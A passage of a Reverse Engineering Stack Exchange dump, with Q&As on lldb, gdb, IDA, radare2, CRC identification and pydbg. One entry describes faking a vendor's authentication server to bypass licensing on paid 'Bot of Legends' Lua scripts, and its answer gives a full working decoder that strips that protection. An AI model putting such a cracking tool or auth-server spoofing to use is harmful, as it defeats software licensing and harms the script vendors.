        "Body": "<p>I'm trying to debug the binary which is not executable.</p>\n\n<p>As sample I'm using <code>/bin/true</code> with 644 permission:</p>\n\n<pre><code>install -m 644 /bin/true .\n</code></pre>\n\n<p>and I'm trying to run it as:</p>\n\n<pre><code>$ lldb true\n(lldb) target create \"true\"\nCurrent executable set to 'true' (x86_64).\n(lldb) process launch\n</code></pre>\n\n<p>But I've got the following error:</p>\n\n<blockquote>\n  <p>error: error: ::posix_spawnp ( pid => 29052, path = '/Foo/Bar/true', file_actions = 0x7fff5d015e98, attr = 0x7fff5d015ed8, argv = 0x7fd6396507f0, envp = 0x7fd6396512d0 ) err = Permission denied (0x0000000d)</p>\n</blockquote>\n\n<p>Is it something possible using lldb without giving the executable flag to the binary?</p>\n",
        "Title": "How to debug binary which doesn't have executable flags?",
        "Tags": "|linux|lldb|",
        "Answer": "<p>As for workaround (per this <a href=\"https://unix.stackexchange.com/q/83862/21471\">post</a>), on Linux the non-executable binary can be invoked by dynamic linker/loader as below:</p>\n\n<pre><code>lldb -- /lib64/ld-linux-x86-64.so.2 foo_binary\n</code></pre>\n\n<p>and for 32-bit version use <code>ld-linux.so</code> found in <code>/lib</code> instead.</p>\n"
    },
    {
        "Id": "9583",
        "CreationDate": "2015-08-08T13:08:21.800",
        "Body": "<p>I'm using <code>/bin/true</code> as my sample binary (without available main method):</p>\n\n<pre><code>$ lldb /bin/true\n(lldb) target create \"/bin/true\"\nCurrent executable set to '/bin/true' (x86_64).\n(lldb) break main\ninvalid command 'breakpoint main'\n</code></pre>\n\n<p>Is there any universal way to run the binary and stop the debugger right after the load, so appropriate symbols can be loaded? Something equivalent on breaking on the main method (first line of the code)? Or I need to calculate the entry point manually? If so, how?</p>\n",
        "Title": "How to stop debugger right after the execution?",
        "Tags": "|debugging|linux|gdb|lldb|breakpoint|",
        "Answer": "<p>Binaries are usually <a href=\"https://en.wikipedia.org/wiki/Strip_%28Unix%29\" rel=\"nofollow noreferrer\">stripped</a>. For ELF binaries, you can check it with <code>file</code> command</p>\n\n<pre><code>$ file /bin/true\n/bin/true: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x73796652ea437df8ac7b3ba1864a7ac177e27600, stripped\n</code></pre>\n\n<p>Notice the <code>stripped</code> at the end of file's result. It means, among other things, that symbols have been removed, so it won't find <code>main</code> function. </p>\n\n<p>In order to run the binary and stop the debugger right after the load, there is some <strong>kind of</strong> universal method that should almost always work (kind of universal, not 100%)</p>\n\n<p>You have to find the entry point, retreived by this command :</p>\n\n<pre><code>$ readelf -h /bin/true | grep \"Entry point\"\n  Entry point address:               0x401264\n</code></pre>\n\n<p>Then load the binary into your favourite debugger (lldb, gdb, ...) and break on this address.</p>\n\n<p><strong>lldb :</strong></p>\n\n<pre><code>$ lldb /bin/true\n(lldb) target create \"/bin/true\"\nCurrent executable set to '/bin/true' (x86_64).\n(lldb) br s -a 0x401264\nBreakpoint 1: address = 0x0000000000401264\n(lldb) r\n...\n(lldb)\n</code></pre>\n\n<p><strong>gdb :</strong></p>\n\n<pre><code>$ gdb -q /bin/true\nReading symbols from /bin/true...(no debugging symbols found)...done.\ngdb$ b *0x401264\nBreakpoint 1 at 0x401264\ngdb$ r\nBreakpoint 1, 0x0000000000401264 in ?? ()\ngdb$\n</code></pre>\n\n<p>Once you've loaded your binary and your breakpoint has been triggered, you can display following instructions that will be executed this way :</p>\n\n<p><strong>lldb :</strong></p>\n\n<pre><code>(lldb) x -s4 -fi -c11 $pc\n-&gt; 0x401264:    xor    ebp,ebp\n   0x401266:    mov    r9,rdx\n   0x401269:    pop    rsi\n   0x40126a:    mov    rdx,rsp\n   0x40126d:    and    rsp,0xfffffffffffffff0\n   0x401271:    push   rax\n   0x401272:    push   rsp\n   0x401273:    mov    r8,0x403560\n   0x40127a:    mov    rcx,0x403570\n   0x401281:    mov    rdi,0x4011c0\n   0x401288:    call   0x401060 &lt;__libc_start_main@plt&gt;\n</code></pre>\n\n<p><strong>gdb :</strong></p>\n\n<pre><code>gdb$ x/11i $pc\n=&gt; 0x401264:    xor    ebp,ebp\n   0x401266:    mov    r9,rdx\n   0x401269:    pop    rsi\n   0x40126a:    mov    rdx,rsp\n   0x40126d:    and    rsp,0xfffffffffffffff0\n   0x401271:    push   rax\n   0x401272:    push   rsp\n   0x401273:    mov    r8,0x403560\n   0x40127a:    mov    rcx,0x403570\n   0x401281:    mov    rdi,0x4011c0\n   0x401288:    call   0x401060 &lt;__libc_start_main@plt&gt;\n</code></pre>\n\n<p><code>i</code> flag means <strong>i</strong>nstruction, and <code>$pc</code> means <strong>P</strong>rogram <strong>C</strong>ounter (equivalent of EIP/RIP for 32/64 bits architecures). You can see that <a href=\"http://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/baselib---libc-start-main-.html\" rel=\"nofollow noreferrer\">__libc_start_main</a> will be called at address <code>0x401288</code>. Its man page indicates its first argument is a pointer to binary <code>main</code> function. 1st argument is here loaded in <code>rdi</code> register, meaning that <code>main</code> function is located at address <code>0x4011c0</code>.</p>\n\n<p>You just have to finally place a breakpoint at this address (<code>0x4011c0</code>) and you'll be at the beginning of your binary main function.</p>\n\n<p>Further reading : <a href=\"https://reverseengineering.stackexchange.com/questions/1935/how-to-handle-stripped-binaries-with-gdb-no-source-no-symbols-and-gdb-only-sho\">How to handle stripped binaries with GDB? No source, no symbols and GDB only shows addresses?</a></p>\n\n<p>Good luck and have fun !</p>\n"
    },
    {
        "Id": "10586",
        "CreationDate": "2015-08-08T17:24:08.413",
        "Body": "<p>In <code>gdb</code>, I can run automatically the binary as (as per this <a href=\"https://stackoverflow.com/q/2119564/55075\">post</a>):</p>\n\n<pre><code>gdb -ex run /bin/true\n</code></pre>\n\n<p>What's the equivalent parameter for <code>lldb</code>?</p>\n\n<p>This works:</p>\n\n<pre><code>echo run | lldb /bin/true\n</code></pre>\n\n<p>but I'd like to back to debugger console instead.</p>\n",
        "Title": "How to run automatically executable from CLI using lldb?",
        "Tags": "|lldb|command-line|",
        "Answer": "<p>LLDB >= 3.4 has the <code>-o</code> / <code>--one-line</code> command line option that can be used to launch your program automatically:</p>\n\n<p><code>lldb -o run /bin/true</code></p>\n\n<p>For reference here are two relevant snippets from <code>lldb-3.6 --help</code>:</p>\n\n<pre><code>...\n   -o \n   --one-line \n        Tells the debugger to execute this one-line lldb command\n        after any file provided on the command line has been loaded.\n...\n  Notes:\n\n       Multiple \"-s\" and \"-o\" options can be provided.  They will be\n       processed from left to right in order, with the source files \n       and commands interleaved. \n...\n</code></pre>\n\n<p>And for reviewing command line options in a web browser -- here's a link to the <a href=\"https://www.netsoup.net/docs/man/lldb-3.4\" rel=\"noreferrer\">lldb-3.4 man page</a>.</p>\n\n<p>Note that with LLDB &lt; 3.4 (and also newer versions) you can use the <code>-s</code> / <code>--source</code> option to bootstrap commands like <code>run</code> -- for example:</p>\n\n<pre><code>$ echo run &gt; autorun\n$ lldb -s autorun -- /bin/echo arg1 arg2\n</code></pre>\n"
    },
    {
        "Id": "10595",
        "CreationDate": "2015-08-10T09:29:07.120",
        "Body": "<p>I've encountered something I can't explain. Here is the problem</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;stdlib.h&gt;\nvoid ask()\n{\n    char name[64];\n    printf(\"What is your name ? \");\n    scanf(\"%s\",name);\n    printf(\"Hi %s\\n\", name);\n}\n\nint main(int argc, char* argv[])\n{\n    ask();\n    return 0;\n}\n</code></pre>\n\n<p>Here is disassembled version :</p>\n\n<pre><code>gdb$ disas ask\nDump of assembler code for function ask:\n   0x0804846c &lt;+0&gt;: push   ebp\n   0x0804846d &lt;+1&gt;: mov    ebp,esp\n   0x0804846f &lt;+3&gt;: sub    esp,0x58\n   0x08048472 &lt;+6&gt;: mov    DWORD PTR [esp],0x8048550\n   0x08048479 &lt;+13&gt;:    call   0x8048340 &lt;printf@plt&gt;\n   0x0804847e &lt;+18&gt;:    lea    eax,[ebp-0x48]\n   0x08048481 &lt;+21&gt;:    mov    DWORD PTR [esp+0x4],eax\n   0x08048485 &lt;+25&gt;:    mov    DWORD PTR [esp],0x8048565\n   0x0804848c &lt;+32&gt;:    call   0x8048370 &lt;__isoc99_scanf@plt&gt;\n   0x08048491 &lt;+37&gt;:    lea    eax,[ebp-0x48]\n   0x08048494 &lt;+40&gt;:    mov    DWORD PTR [esp+0x4],eax\n   0x08048498 &lt;+44&gt;:    mov    DWORD PTR [esp],0x8048568\n   0x0804849f &lt;+51&gt;:    call   0x8048340 &lt;printf@plt&gt;\n   0x080484a4 &lt;+56&gt;:    leave  \n   0x080484a5 &lt;+57&gt;:    ret    \nEnd of assembler dump.\n</code></pre>\n\n<p>When I run it into gdb, I break on the scanf instruction to get buffer address (2nd on the stack), then I execute scanf instruction, and examine buffer address : No trace of my <code>0x0b</code></p>\n\n<pre><code>(gdb) r &lt; &lt;(perl -e 'print \"\\x0bABCDE\"')\n--------------------------------------------------------------------------[regs]\n  EAX: 0x00000001  EBX: 0xB7FCDFF4  ECX: 0x00000001  EDX: 0xB7FCF354  o d I t s Z a P c \n  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF378  ESP: 0xBFFFF320  EIP: 0x08048491\n  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002B\n--------------------------------------------------------------------------[code]\n=&gt; 0x8048491 &lt;ask+37&gt;:  lea    eax,[ebp-0x48]\n   0x8048494 &lt;ask+40&gt;:  mov    DWORD PTR [esp+0x4],eax\n   0x8048498 &lt;ask+44&gt;:  mov    DWORD PTR [esp],0x8048568\n   0x804849f &lt;ask+51&gt;:  call   0x8048340 &lt;printf@plt&gt;\n   0x80484a4 &lt;ask+56&gt;:  leave  \n   0x80484a5 &lt;ask+57&gt;:  ret    \n   0x80484a6 &lt;main&gt;: push   ebp\n   0x80484a7 &lt;main+1&gt;:  mov    ebp,esp\n--------------------------------------------------------------------------------\n\nBreakpoint 1, 0x08048491 in ask ()\ngdb$ x/4xw 0xbffff330\n0xbffff330: 0x44434241  0xb7e90045  0x0000002f  0xb7fcdff4\n</code></pre>\n\n<p>As you can see, there is my <code>ABCDE</code> followed by null byte <code>0x00</code> but <code>\\x0b</code> won't appear. I don't understand why it's not taken into account by scanf. Same goes for <code>0x09</code> to <code>0x0c</code>. But <code>0x01</code> to <code>0x08</code>, <code>0x0e</code> and above are working. I'm a bit lost.</p>\n\n<p>Any idea ?</p>\n\n<p>Thanks a lot.</p>\n\n<p>PS : Reason I'm posting here is because I was in front of a binary, and when I sent him bytes like <code>0x0b</code>, its behavior wasn't what I expected. I reversed part of it and found that scanf was the bad guy here ... But if you think this is not appropriate for this forum, just tell me I'll move it wherever is more appropriate. Thanks !</p>\n",
        "Title": "0x09-0x0d not taken into account with scanf",
        "Tags": "|disassembly|memory|scanf|",
        "Answer": "<p>There is another interesting place in <code>scanf</code> library call when handling <code>\\x09~\\0xd</code>.</p>\n\n<p>You just only put <code>\\x0b</code> at the head of input string. If you just put <code>\\x0b</code> in the middle of string, and there are valid ascii(not in \\x09~\\x0d) from head to the first <code>\\x0b</code>, like </p>\n\n<p><code>AAAAAA\\x0bBBBBB</code></p>\n\n<p>If you execute your program again, you will find the following <code>B</code>s will be abandoned or the input string will be truncated by the second valid <code>\\x0b</code>.</p>\n"
    },
    {
        "Id": "10609",
        "CreationDate": "2015-08-11T18:05:30.857",
        "Body": "<p>I'm adapting the <a href=\"https://github.com/uxmal/reko\" rel=\"nofollow\">reko decompiler</a> to use Capstone for its disassembler, instead of rolling my own. I'm using the .NET bindings provided by <a href=\"https://github.com/9ee1/Capstone.NET\" rel=\"nofollow\">Capstone.NET</a>.</p>\n\n<p>The strategy is to replace the old ARM disassembler with the Capstone disassembler and then run the old unit tests to make sure nothing broke. I'm at a point where most test are passing, but the opcode <code>E1F322D1</code>, which both the old reko disassembler and ODA disassemble to:</p>\n\n<pre><code> ldrsb r2, [r3, #33]!\n</code></pre>\n\n<p>But, Capstone responds with:</p>\n\n<pre><code>ldrsb r2,[r3,#&amp;221]!\n</code></pre>\n\n<p>I don't have other disassemblers handy, so I'm uncertain who to trust! </p>\n\n<p>What's the correct disassembly?</p>\n",
        "Title": "What is the correct disassembly for ARM opcode E1F322D1?",
        "Tags": "|disassembly|arm|",
        "Answer": "<p>IDA agrees with the first one:</p>\n\n<p><code>LDRSB           R2, [R3,#33]!</code></p>\n\n<p>Capstone might be trying to display something like #0x21, which would be equivalent, but it seems that something went wrong.</p>\n"
    },
    {
        "Id": "10613",
        "CreationDate": "2015-08-11T19:06:43.000",
        "Body": "<p>I have old serial communication protocol and having some trouble finding out about checksum algorithm that has been used. I've tried several CRC16 algorithms and none of them seem to work.</p>\n\n<p>Tx message format looks like:</p>\n\n<pre><code>start(10B) + messageIndex(1B) + data(5-15B) + checksum(2B) + end(1B) \n</code></pre>\n\n<p>Rx message has same format but only 1 data byte. Here are few examples provided (hash # added to separate the blocks; hexadecimal format):</p>\n\n<pre><code>Tx: 82 00 00 00 01 00 00 00 ff c1 # 48 # 56 57 50 41 54 5f 30 5f 31 3d 31 # 7f 12 # 83\nRx: 82 00 00 00 ff 00 00 00 01 01 # 48 # 4f # cc 68 # 83\n\nTx: 82 00 00 00 01 00 00 00 ff c1 # 49 # 56 57 50 41 4e 5f 30 5f 32 3d 49 55 30 30 30 # f5 16 # 83\nRx: 82 00 00 00 ff 00 00 00 01 01 # 49 # 4f # 5c 69 # 83\n\nTx: 82 00 00 00 01 00 00 00 ff c1 # 4a # 56 57 50 41 54 5f 30 5f 32 3d 31 # b8 1b # 83\nRx: 82 00 00 00 ff 00 00 00 01 01 # 4a # 4f # ac 69 # 83\n\nTx: 82 00 00 00 01 00 00 00 ff c1 # 4b # 56 57 41 4b 54 50 4e 5f 30 3d 32 # 60 6f # 83\nRx: 82 00 00 00 ff 00 00 00 01 01 # 4b # 4f # 3c 68 # 83\n\nTx: 82 00 00 00 01 00 00 00 ff c1 # 4c # 56 57 50 41 4e 5f 31 5f 31 3d 49 4c 30 30 30 # 6a ec # 83\nRx: 82 00 00 00 ff 00 00 00 01 01 # 4c # 4f # 0c 6a # 83\n</code></pre>\n\n<p>If necessary, I can provide more data. Any help or hint would be appreciated ;)</p>\n\n<p>Best regards,\nZlatko</p>\n\n<p><strong>EDIT</strong> The correct algorithm is regular CRC16 (0x8005 polynom). Thanks booto for correct answer.</p>\n",
        "Title": "Finding out checksum algorithm",
        "Tags": "|decryption|serial-communication|crc|",
        "Answer": "<p>It's a <strong>big-endian CRC16</strong> (polynomial <code>0x8005</code>) of the data from the byte following the <code>0x82</code> up to and including the byte before the CRC.</p>\n\n<p>For example, for your last RX frame:</p>\n\n<pre><code>82 00 00 00 ff 00 00 00 01 01 4c 4f 0c 6a 83\n</code></pre>\n\n<p>The CRC16 of <code>{0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x01,0x01,0x4c,0x4f}</code> is <code>0x0c6a</code>.</p>\n\n<p>To find out this CRC algorithm, I assumed that <code>0x82</code> was a '<em>Start-of-Frame</em>' marker and <code>0x83</code> was an '<em>End-of-Frame</em>' marker. Then, I plugged the remaining data (sans crc field) into this on-line CRC calculation application and the emitted CRC16 looked correct. </p>\n\n<p>I, then, checked a few of the other frames you supplied and verified the CRC calculation with other sources.</p>\n\n<p>And, voila...</p>\n"
    },
    {
        "Id": "10616",
        "CreationDate": "2015-08-12T18:30:59.650",
        "Body": "<p>I'm learning how to work with radare2 tool. While I am stepping through the program (on windows7) radare2 prints some lines which can be seen on the picture. It seems to me as if the tracing is enabled but in configuration variables tracing is disabled. I would like to turn off this printing but don't know how.</p>\n\n<p><a href=\"https://i.stack.imgur.com/fDLI0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fDLI0.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Radare2 windows unwanted lines during debugging",
        "Tags": "|windows|debugging|radare2|",
        "Answer": "<p>You're using an outdated version of radare2. The output you're seeing was <a href=\"https://github.com/radare/radare2/commit/667cdecd37f46d52391711a472685d5770ebaeca#diff-8dd4041ad59b454a679fa47dd568c942L278\" rel=\"nofollow noreferrer\">removed from the codebase yesterday</a>: </p>\n\n<p><a href=\"https://i.stack.imgur.com/Hic9D.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Hic9D.png\" alt=\"Snippet\"></a></p>\n\n<p>If you update to the latest version then that output will disappear.</p>\n"
    },
    {
        "Id": "10618",
        "CreationDate": "2015-08-12T20:48:37.067",
        "Body": "<p>Can anyone on here help me on decrypting the SSL encryption that protects this LUA script linked at the end of this topic ? </p>\n\n<p>Basically they are encoded with Base64 then SSL, but I have no idea how to do the SSL portion. They are used with a program called '<em>Bot of Legends</em>', and someone told me that it is possible to break the encryption by dumping the decryption function of said program and using that to get the SSL key. But, I have no clue where to even start on that. </p>\n\n<p>Basically, these scripts work by connecting to an authentication server that is coded into the script, and I have gotten a few on my own by sniffing the traffic to their authentication server from network packets to get their server link and essentially created my own authentication server with Apache, then redirected the network traffic that goes to their server to my own from the script to get the script validated response. </p>\n\n<p>For some scripts that have stronger encryption, its not that easy and I would have to get to the source code to remove the coding that runs the authentication server checks. Up until a few days ago I had no knowledge on how lua coding worked and how to even compute how authentication server checks could be even possible for coding in a simple text file due to lua obfuscation. </p>\n\n<p>So, bear with me, I would like if someone can chime in and give me an idea on what I can do.</p>\n\n<p><a href=\"http://pastebin.com/raw.php?i=bG0VqQGW\" rel=\"nofollow\">PasteBin to the script in question in raw format</a>.</p>\n\n<p>The Base64 section is first with the SSL section at the bottom.</p>\n",
        "Title": "Assistance in Decrypting Lua script that is obfuscated with Base64 > SSL",
        "Tags": "|decompilation|encryption|deobfuscation|",
        "Answer": "<p>Since it is not used anymore I'll show you :)</p>\n\n<pre><code>print(\"SSL Decoder version 2.0\")\nprint(\"Copyright (C) 2015\")\nprint(\"Decoding Started...\")\n\nlocal infilename = select(1,...)\nlocal outfilename = select(2,...)\n\nlocal infile = io.open(infilename, \"r\")\n\nif not infile then\n  error(\"Failed to open input file.\")\nend\n\nlocal intext = infile:read(\"*a\")\n\ninfile:close()\n\nlocal ssltabletext = intext:match(\"SSL%s*%(%s*%{([%s,0-9]*)%}%s*%)\")\n\nif not ssltabletext then\n  error(\"Could not find ssl table in source file.\")\nend\n\nlocal ssltable = load(\"return {\"..ssltabletext..\"}\")()\n\nif #ssltable &lt; 255 then\n  error(\"SSL table is too short -- can't find table encryption key.\")\nend\n\n-- find decryption key for the ssl table\nlocal decrypt = {}\n\ndecrypt[0] = 0\nfor i = 1,255 do\n  local dec = i\n  local enc = ssltable[i]\n  assert(decrypt[enc] == nil)\n  decrypt[enc] = dec\nend\n\n-- decrypt ssl table\nfor i = 256, #ssltable - 256 do -- not sure what last 256 bytes are\n  ssltable[i] = decrypt[ssltable[i] ]\nend\n\n-- If this does a stack overflow, easy to change to something dumb but more robust\nlocal sslcode = string.char(table.unpack(ssltable, 256, #ssltable - 256))\n\n-- This is interesting -- \n--print(sslcode)\n\nlocal keyindex = sslcode:match(\"local Key%s*=%s*'()\")\nif not keyindex then\n  error(\"Could not find key in decoded ssl table.\")\nend\n\nlocal key = sslcode:sub(keyindex)\n\nlocal length = 0\nwhile true do\n  local c = key:sub(length+1, length+1)\n  if c == \"\" then\n    error(\"Key string was not terminated.\")\n  elseif c == \"'\" then\n    break\n  elseif c == \"\\\\\" then\n    local c2 = key:sub(length+2, length+2)\n    if c2:match(\"%d\") then\n      local c3 = key:sub(length+3, length+3)\n      if c3:match(\"%d\") then\n        local c4 = key:sub(length+4, length+4)\n        if c4:match(\"%d\") then\n          length = length + 4\n        else\n          length = length + 3\n        end\n      else\n        length = length + 2\n      end\n    elseif c2 == \"x\" then\n      length = length + 4\n    else\n      length = length + 2\n    end\n  else\n    length = length + 1\n  end\nend\n\nkey = key:sub(1, length)\n\nif #key == 0 then\n  error(\"Key is empty\")\nend\n\nprint(\"Key Found! &gt; \" .. key)\nprint(\"Decoding finished, outfile is at &gt; \" .. outfilename)\n\n-- find base64\nlocal b64 = intext:match(\"_G.ScriptCode%s*=%s*Base64Decode%s*%(%s*\\\"([a-zA-Z0-9/+]*=*)\\\"%s*%)\")\nif not b64 then\n  error(\"Could not find Base-64 encrypted code in source file.\")\nend\n\n-- base64 decode\nlocal b64val = {}\nfor i = 0, 25 do\n  do\n    local letter = string.byte(\"A\")\n    b64val[string.char(letter+i)] = i\n  end\n  do\n    local letter = string.byte(\"a\")\n    b64val[string.char(letter+i)] = i + 26\n  end\nend\nfor i = 0, 9 do\n  local numeral = string.byte(\"0\")\n  b64val[string.char(numeral+i)] = i + 52\nend\nb64val[\"+\"] = 62\nb64val[\"/\"] = 63\nb64val[\"=\"] = 0\n\nlocal encoded = b64:gsub(\"(.)(.)(.)(.)\",function(a,b,c,d)\n  local n = b64val[a] * (64 * 64 * 64) + b64val[b] * (64 * 64) + b64val[c] * 64 + b64val[d]\n  local b1 = n % 256; n = (n - b1) / 256\n  local b2 = n % 256; n = (n - b2) / 256\n  local b3 = n\n  if d == \"=\" then\n    if c == \"=\" then\n      assert(b1 == 0 and b2 == 0)\n      return string.char(b3)\n    else\n      assert(b1 == 0)\n      return string.char(b3, b2)\n    end\n  else\n    return string.char(b3, b2, b1)\n  end\nend)\n\n-- decode\nlocal decoded = encoded:gsub(\"()(.)\", function(i, c)\n  local b = c:byte()\n  local ki = ((i - 1) % #key) + 1\n  local k = key:byte(ki,ki)\n  b = b - k\n  if b &lt; 0 then b = b + 256 end\n  return string.char(b)\nend)\n\n-- verify\nlocal result, err = load(decoded)\nif not result then\n  error(\"Decoded file could not be loaded -- it may be corrupt... (\"..tostring(err)..\")\")\nend\n\n-- output\nlocal outfile = io.open(outfilename, \"wb\")\n\nif not outfile then\n  error(\"Failed to open output file.\")\nend\n\noutfile:write(decoded)\n\noutfile:close()\n</code></pre>\n"
    },
    {
        "Id": "10623",
        "CreationDate": "2015-08-14T10:49:27.890",
        "Body": "<p>I am working on a mipsel binary in IDA Pro and I'm having some issues with renaming subroutines.</p>\n\n<p>I have the subroutine \"system\" at 0x739644. I renamed this using the N hotkey.</p>\n\n<p><a href=\"https://i.stack.imgur.com/tygoT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tygoT.png\" alt=\"Subroutine renamed as system\"></a></p>\n\n<p>Now if I hit X, some of the xrefs have been replaced:</p>\n\n<p><a href=\"https://i.stack.imgur.com/XjQKX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XjQKX.png\" alt=\"JALR is fine\"></a></p>\n\n<p>All of the JALR instructions are fine.</p>\n\n<p>However, sometimes subroutines are called like so:</p>\n\n<p><a href=\"https://i.stack.imgur.com/nDKYK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nDKYK.png\" alt=\"Alternative call\"></a></p>\n\n<p>In this case, sometimes the reference has been renamed and sometimes it hasn't. They all show up in xrefs though:</p>\n\n<p><a href=\"https://i.stack.imgur.com/VgSMC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VgSMC.png\" alt=\"Some work, some don&#39;t\"></a></p>\n\n<p>Why is this? Can I rename them all?</p>\n",
        "Title": "Renaming subroutines in IDA Pro for MIPS",
        "Tags": "|ida|mips|",
        "Answer": "<p>Probably it is because IDA treats the <code>la</code> arguments as integers. \nTry the following : go to one of the places,where <code>system</code> displayed as a number, locate your cursor on this number, press <kbd>O</kbd> and recheck if it is still referenced as a number.</p>\n\n<p>Update based on comments - this code illustrates general idea of how it can be fixed automatically. Note: this code is not tested, and provided only for illustrative purposes:</p>\n\n<pre><code>#I didn't check this code, \n#use carefully, \n#beware of errors !\n\nimport idc\nimport idautils\nimport idaapi\n\n\n#this function will pass over all assembly commands in correspondiong parameter\n#and will set as offsets all operands mentioned in second parameter\n#   @param list_of_ranges --&gt; list of tuples of start and end of code ranges where it \n#            should be applied\n#   @list_of_commands_and_operands--&gt; list of tuples of assembly commands as string \n#            and number of operands where it should be applied\n\ndef multi_convert_op_to_offset(list_of_ranges, list_of_commands_and_operands):\n    for (start, end) in list_of_ranges:\n        for h in idautils.Heads(start, end):\n            dis = idc.GetDisasm(h).split()\n            mnemonic = dis[0]\n            for mnem, op in list_of_commands_and_operands:\n                if mnem == mnemonic:\n                    idc.OpOff(h, op, 0)\n\n\n#Usage:\n\nstart = start_of_your_relevant_code\nend = end_of_your_relevant_code\n\nl_of_rng = []\n\nl_of_rng.append((start, end))\n\nl_of_cmds_and_ops = []\n\nl_of_cmds_and_ops.append((\"la\", 1))\n\nmulti_convert_op_to_offset(l_of_rng, l_of_cmds_and_ops)\n</code></pre>\n"
    },
    {
        "Id": "10625",
        "CreationDate": "2015-08-14T14:40:55.590",
        "Body": "<p>I am attempting to disassemble a test binary I compiled written in masm. Here are the follwing bytes:</p>\n\n<pre><code>    Microsoft (R) COFF/PE Dumper Version 10.00.40219.01\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\n\nDump of file X:\\test.exe\n\nFile Type: EXECUTABLE IMAGE\n\n00401000: EB FE              jmp         00401000\n00401002: 33 C0              xor         eax,eax\n00401004: 33 DB              xor         ebx,ebx\n00401006: 33 C9              xor         ecx,ecx\n00401008: 33 D2              xor         edx,edx\n0040100A: B8 02 00 00 00     mov         eax,2\n0040100F: BB 01 00 00 00     mov         ebx,1\n00401014: 3B C3              cmp         eax,ebx\n00401016: 7F 06              jg          0040101E\n00401018: 2B C3              sub         eax,ebx\n0040101A: 3B C3              cmp         eax,ebx\n0040101C: 7F 22              jg          00401040\n0040101E: B8 05 00 00 00     mov         eax,5\n00401023: BB 0A 00 00 00     mov         ebx,0Ah\n00401028: 3B C3              cmp         eax,ebx\n0040102A: 7F 06              jg          00401032\n0040102C: 2B D8              sub         ebx,eax\n0040102E: 3B D8              cmp         ebx,eax\n00401030: 7F 07              jg          00401039\n00401032: B8 0D 00 00 00     mov         eax,0Dh\n00401037: EB 0E              jmp         00401047\n00401039: BB 09 00 00 00     mov         ebx,9\n0040103E: EB 07              jmp         00401047\n00401040: B9 17 00 00 00     mov         ecx,17h\n00401045: EB 00              jmp         00401047\n00401047: 6A 00              push        0\n00401049: E8 00 00 00 00     call        0040104E\n0040104E: FF 25 00 20 40 00  jmp         dword ptr ds:[00402000h]\n</code></pre>\n\n<p>The following is my python script:</p>\n\n<pre><code>import os, sys\nfrom pydbg import *\nfrom pydbg.defines import *\n\npid = int(sys.argv[1])\n\ndef handler_breakpoint(pydbg):\n    if pydbg.first_breakpoint:\n        return DBG_CONTINUE\n    for thread_id in dbg.enumerate_threads():\n        context = dbg.get_thread_context(None, h_thread)\n    print(\"Eip = %08x\" % context.Eip)\n    dbg.disasm(context.Eip)\n    return DBG_CONTINUE\n\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.attach(pid)\nfor thread_id in dbg.enumerate_threads():\n        context = dbg.get_thread_context(None, h_thread)\ndbg.bp_set(context.Eip)\ndbg.resume_all_threads()\npydbg.debug_event_loop(dbg)\n</code></pre>\n\n<p>I just want to break into the first (jmp-0x2) instruction.</p>\n\n<p>I checked the pydbg API <a href=\"http://pedramamini.com/PaiMei/docs/PyDbg/public/pydbg.pydbg.pydbg-class.html\" rel=\"nofollow\">pydbg API</a> and various projects that utilized pydbg and couldn't make heads or tails on how to do this.</p>\n",
        "Title": "pydbg: Disassemble at $exentry and relative offset from $exentry",
        "Tags": "|windows|debuggers|python|",
        "Answer": "<p>if you attach to any running process the breakpoint at the entry point will not be hit </p>\n\n<p>to break on <code>Address of EntryPoint</code> you should load the binary and set the breakpoint during the first system (pydbg.firstbreakpoint) </p>\n\n<p>to retrieve the AddressofEntryPoint dynamically you would have to read the process memory and decipher the pe header->address of entry point </p>\n\n<p>shown below is a sample script that breaks on calc.exe entrypoint and dumps the context </p>\n\n<pre><code>:\\&gt;cat entrypoint.py\nimport struct\nfrom pydbg import *\nfrom pydbg.defines import *\ndef handler_breakpoint (pydbg):\n  if pydbg.first_breakpoint:\n    for module in dbg.iterate_modules():\n      base_address = module.modBaseAddr\n      dos_header   = dbg.read_process_memory(base_address, 0x40)\n      if len(dos_header) != 0x40 or dos_header[:2] != \"MZ\":\n        continue\n      e_lfanew   = struct.unpack(\"&lt;I\", dos_header[0x3c:0x40])[0]\n      pe_headers = dbg.read_process_memory(base_address + e_lfanew, 0xF8)\n      if len(pe_headers) != 0xF8 or pe_headers[:2] != \"PE\":\n        continue\n      entrypoint = (struct.unpack(\"&lt;I\", pe_headers[0x28:0x2c])[0]) + base_addres\ns\n      print \"0x%08x\" % entrypoint\n      dbg.bp_set(entrypoint)\n      return DBG_CONTINUE\n  print dbg.dump_context(dbg.context)\n  return DBG_CONTINUE\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.load(\"c:\\windows\\system32\\calc.exe\")\npydbg.debug_event_loop(dbg)\n</code></pre>\n\n<p>result </p>\n\n<pre><code>:\\&gt;python entrypoint.py\n0x01012475\nCONTEXT DUMP\n  EIP: 01012475 push byte 0x70\n  EAX: 00000000 (         0) -&gt; N/A\n  EBX: 7ffd7000 (2147315712) -&gt; N/A\n  ECX: 0007ffb0 (    524208) -&gt;\n  EDX: 7c90e514 (2089870612) -&gt; N/A\n  EDI: 00250000 (   2424832) -&gt; N/A\n  ESI: 7c9115f9 (2089883129) -&gt; N/A\n  EBP: 0007fff0 (    524272) -&gt; \n  ESP: 0007ffc4 (    524228) -&gt; wp (stack)\n  +00: 7c817077 (2088857719) 